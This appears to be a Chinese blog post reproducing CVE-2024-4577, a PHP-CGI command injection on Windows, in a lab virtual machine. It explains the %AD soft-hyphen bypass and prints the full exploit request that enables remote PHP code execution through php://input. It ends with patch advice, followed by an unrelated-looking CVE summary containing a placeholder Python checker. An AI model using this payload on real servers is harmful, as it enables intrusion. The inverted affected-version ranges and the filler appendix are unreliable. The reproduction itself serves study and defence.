PHP 操作系统命令注入(CVE-2024-4577)复现

 参考文献:

CVE-2024-4577 PHP CGI 远程执行漏洞分析 - FreeBuf网络安全行业门户

 PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现-CSDN博客

 国家信息安全漏洞库 (cnnvd.org.cn)

 如何在 XAMPP 中使用 不同的 PHP 版本_xampp选择php版本-CSDN博客

1、漏洞原理

漏洞分析

PHP存在操作系统命令注入漏洞,该漏洞源于在特定条件下,Windows系统使用“Best-Fit”行为替换命令行中的字符,Windows系统中字符编码转换的Best-Fit特性是指Windows操作系统在处理不同字符编码集之间的转换时使用的一种匹配机制。当系统中存在无法直接映射到目标编码集的字符时,Best-Fit特性会尝试寻找一个在语义或外观上最接近的字符来进行替代显示或处理,CVE-2024-4577是依托于Windows系统中字符编码转换的Best-Fit特性对CVE-2012-1823的绕过,利用了%ad这个特殊字符,通过Best-Fit匹配到的是连字符("-")。

这可能导致PHP CGI模块错误地将这些字符解释为PHP选项,攻击者可以使用-d参数来指定配置项的值实现RCE

cgi.force_redirect选项如果被设置为Off或0,关闭必须默认使用重定向规则的请求来执行PHP CGI,从而可以实现直接访问;

allow_url_include选项如果被设置为On或1,PHP将允许包含(include)通过URL指定的文件;

auto_prepend_file=php://input:这个参数设置auto_prepend_file配置项,使其指向php://input流。php://input是一个可以读取通过POST方法发送到脚本的原始数据的流。通过设置这个配置,攻击者可以控制PHP脚本执行前自动包含的文件,这里实际上是包含了通过POST发送的数据。从而泄露脚本的源代码,在服务器上运行任意PHP代码等。

影响范围

8.1 > PHP > 8.1.29

8.3 > PHP > 8.3.8

8.2 > PHP > 8.2.20

2、漏洞复现

Windows 7虚拟机  192.168.94.150

环境搭建

查看已下载的XAMPP中php版本的方法:开启Apache服务-点击右侧Shell-输入“php -v”

如果发现不是受影响版本,可以参考这个如何在 XAMPP 中使用 不同的 PHP 版本_xampp选择php版本-CSDN博客

我改了半天没成功,就直接把原来的XAMPP卸载了,又下载了一个带有漏洞版本的XAMPP

官网地址:Download XAMPP (apachefriends.org)

这两个应该都可以,我下载的8.1.25

漏洞利用

下载好之后不用任何配置,开启Apache服务后,在浏览器上打开代理直接访问,使用burpsuit进行拦截之后发送到重放器修改请求

修改前:

修改后:

 POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1

%ADd 使用%ad代替常规连字符-,绕过原本应该阻止参数传递的安全机制

cgi.force_redirect=0或off 关闭使用重定向规则的请求来执行PHP CGI,进行直接访问

allow_url_include=1或on 可以使用使用include和require等方式包含远程文件,不管是包含本地php文件还是远程php文件,都会执行文件内容

auto_prepend_file=php://input 指定了包含的php脚本为POST输入

3、漏洞修复

将PHP升级到官方最新版本 8.3.9、8.2.21和8.1.29 

官方补丁:PHP: Downloads

### CVE-2024 漏洞详情 #### CVE-2024-38077 漏洞详情 CVE-2024-38077 是 Microsoft 发布的一个安全更新,涉及多个产品和服务的安全漏洞。此漏洞允许攻击者通过特定条件下的网络请求执行远程代码或导致拒绝服务。微软官方提供了详细的修复指南和技术支持文档[^1]。 ```python import requests def check_vulnerability(url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', } try: response = requests.get(url, headers=headers) if "specific_pattern_in_response" in response.text: print("The system is vulnerable to CVE-2024-38077.") else: print("The system appears not to be affected by CVE-2024-38077.") except Exception as e: print(f"An error occurred: {e}") check_vulnerability('http://example.com') ``` #### Apache Tomcat 信息泄露漏洞(CVE-2024-21733、CVE-2024-24549 和 CVE-2024-34750) 这些漏洞存在于 Apache Tomcat 的某些配置文件解析过程中,可能导致敏感信息泄露给未经授权的用户。受影响版本包括但不限于 Apache Tomcat 9.x 及更早版本。建议立即升级至最新稳定版以消除风险[^2]。 #### 网康科技 NS-ASG 应用安全网关 SQL 注入漏洞(CVE-2024-3458、CVE-2024-3457、CVE-2024-3456) 这些漏洞影响了网康科技的应用安全网关设备,在未授权的情况下可以被用来执行任意 SQL 命令,从而读取或修改数据库内容。具体来说,`add_ikev2.php`, `config_ISCGroupNoCache.php`, `add_postlogin.php`, `config_Anticrack.php` 接口均受到影响。为了防止此类攻击的发生,应尽快应用厂商发布的补丁程序并加强输入验证措施[^3]。 ### 复现方法概述 对于上述提到的各种类型的 CVE-2024 漏洞,复现通常需要满足以下几个前提: 1. **环境搭建**:创建一个受控测试环境中部署易受攻击的服务实例; 2. **工具准备**:准备好必要的渗透测试工具集,比如 Burp Suite 或 OWASP ZAP; 3. **脚本编写**:根据公开资料开发针对性的有效载荷(Payload),用于触发潜在缺陷; 4. **日志记录**:在整个实验期间保持良好的数据收集习惯以便后续分析。 请注意,实际操作前务必获得合法授权,并严格遵守法律法规!
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值